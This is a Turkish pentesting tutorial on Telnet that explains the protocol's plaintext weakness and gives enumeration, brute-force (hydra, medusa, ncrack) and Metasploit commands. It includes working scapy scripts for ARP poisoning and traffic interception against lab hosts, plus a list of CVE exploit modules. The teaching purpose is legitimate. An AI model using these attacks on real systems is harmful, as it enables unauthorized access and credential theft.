Post

23 - TELNET Pentesting

23 - TELNET Pentesting

Telnet Nedir?

Telnet, TCP/IP ağında bulunan iki cihazın arasında shell açmak için kullanılır. Genellikle 23 veya 992 numaralı portta bulunur, bağlanmak için bir telnet istemcisi gerekir. Telnet istemcisi, sunucuya bağlanmak için kullanılan bir uygulamadır.

Telnete bağlanmak için kullanıcı adı ve parola bilgileri kullanılır. Bu protokol günümüzde neredeyse hiç kullanılmamaktadır. Bence de kullanılmaması gereken bir protokoldür. Güvenlik açısından eksik olan bu protokol, iki bilgisayar arasındaki iletişimi düz bir metin biçiminde yapmaktadır. Bu yüzden bir saldırgan MITM saldırısı yaparak kullanıcı adı parola bilgilerini vs. yakalayabilir.

Günümüzde telnet yerine daha güvenli olan, şifreli iletişim sağlayan, SSH(Secure Shell) kullanılır.

https://i.ibb.co/pZdm9PS/image.png

TELNET Protokolüne Yönelik Sızma Testi

Shodan Araması

Temel Bilgiler

1
2
3
4
nc -nv 10.10.11.101 23
telnet 10.10.11.101 23
nmap -sV -p 23 10.10.11.101
msf6 > use auxiliary/scanner/telnet/telnet_version

https://i.ibb.co/ch5nzvk/image.png

Nmap Scriptleri

1
2
3
4
5
# ls /usr/share/nmap/scripts/ | grep telnet

telnet-brute.nse
telnet-encryption.nse
telnet-ntlm-info.nse # NTLM bilgilerini (Windows sürümleri) elde eder.

Telnet Bağlanma

1
# telnet 10.10.11.101 23

https://i.ibb.co/HNwvy1L/image.png

Metasploit Kullanımı

1
2
3
4
5
6
# msfconsole -q
# search telnet

auxiliary/server/capture/telnet
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/telnet/telnet_version

Brute Force

1
2
3
4
hydra -L userlist.txt -P passlist.txt 10.10.11.101 -s 23 telnet
medusa -U userlist.txt -P passlist.txt -h 10.10.11.101 -n 23 -M telnet
ncrack -U userlist.txt -P passlist.txt 10.10.11.101 -p telnet:23
msf6 > use auxiliary/scanner/telnet/telnet_login

https://i.ibb.co/JCR7Btn/image.png

WireShark İle Paket Yakalama

https://i.ibb.co/WBDjLKX/image.png

MITM Attack

Who is?IP AddressMAC Address
Attacker10.10.11.10000:0c:29:8d:82:d6
Telnet Server10.10.11.10100:0c:29:7f:ed:0a
Client(Victim)10.10.11.10200:0c:29:dd:3c:05

arp-poisoning.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3
from scapy.all import *

#SERVER
E1 = Ether(dst="00:0c:29:7f:ed:0a", src="00:0c:29:8d:82:d6")

#VICTIM
E2 = Ether(dst="00:0c:29:dd:3c:05", src="00:0c:29:8d:82:d6")

A = ARP(hwsrc="00:0c:29:8d:82:d6",psrc="10.10.11.102",hwdst="00:0c:29:7f:ed:0a",pdst="10.10.11.101")

B = ARP(hwsrc="00:0c:29:8d:82:d6",psrc="10.10.11.101",hwdst="00:0c:29:dd:3c:05",pdst="10.10.11.102")

pkt1 = E1/A
pkt2 = E2/B

sendp(pkt1)
sendp(pkt2)

sniffspoof.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
from scapy.all import *
import re
VM_A_IP = '10.10.11.101'
VM_B_IP = '10.10.11.102'
VM_A_MAC = '00:0c:29:7f:ed:0a'
VM_B_MAC = '00:0c:29:dd:3c:05'
def spoof_pkt(pkt):
if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
newpkt = IP(pkt[IP])
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
olddata = pkt[TCP].payload.load # Get the original payload data

#updated code lines, instead of line : " newdata = 'Z' "

olddata = olddata.decode()
data = re.sub(r'a-zA-Z', r'Z', olddata)
newdata = data.encode()

#End of updated code lines

send(newpkt/newdata)
elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
send(pkt[IP]) # Forward the original packet
pkt = sniff(filter='tcp',prn=spoof_pkt)

https://i.ibb.co/fF96DrH/image.png

arp-poisoning başarılı bir şekilde yapılmış.

sniffspoof.py scripti çalıştırıldıktan sonra kurban sunucuya telnet ile bağlanır.

https://i.ibb.co/QXdRTC1/image.png

Belirli Zafiyetler ve Exploitler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#BOF: FreeBSD 7.3 – 9.0; MIT Kerberos v5 Applications (krb5-appl) <= 1.0.2; Heimdal <= 1.5.1; GNU inetutils [CVE-2011-4862]
msf6 > use auxiliary/scanner/telnet/telnet_encrypt_overflow
msf6 > use exploit/linux/telnet/telnet_encrypt_keyid
msf6 > use exploit/freebsd/telnet/telnet_encrypt_keyid

#SenNet Optimal DataLogger <= V5.37c-1.43c; SenNet Solar Datalogger <= V5.03-1.56a; SenNet Multitask Meter <= V5.21a-1.18b [CVE-2017-6048] [TCP/5000]
msf6 > use auxiliary/scanner/telnet/satel_cmd_exec

#RuggedCom Rugged Operating System (ROS) Telnet backdoor [CVE-2012-1803]
Exploit-DB: 18779.txt
msf6 > use auxiliary/scanner/telnet/telnet_ruggedcom

#Lantronix Device Server V5.8.0.1 [UDP\30718]
msf6 > use auxiliary/scanner/telnet/lantronix_telnet_password
This post is licensed under CC BY 4.0 by the author.